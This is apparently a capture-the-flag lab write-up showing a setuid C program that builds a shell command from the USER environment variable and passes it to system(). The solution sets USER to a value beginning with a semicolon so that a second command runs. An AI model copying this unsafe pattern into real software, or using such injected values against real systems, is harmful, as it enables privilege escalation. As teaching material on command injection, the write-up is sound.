= Level02 = There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02. {{{#!highlight c #include #include #include #include #include int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); } }}} = Solution = This is similar to the previous level. Here it will execute "/bin/echo [string] is cool" and all we need to do is somehow force it to run getflag. Ok slightly different tactic here: {{{ # USER=";getflag" # ./flag02 }}} And that will do it! I could have put a ; after getflag, but it is not strictly necessary since getflag ignores any input.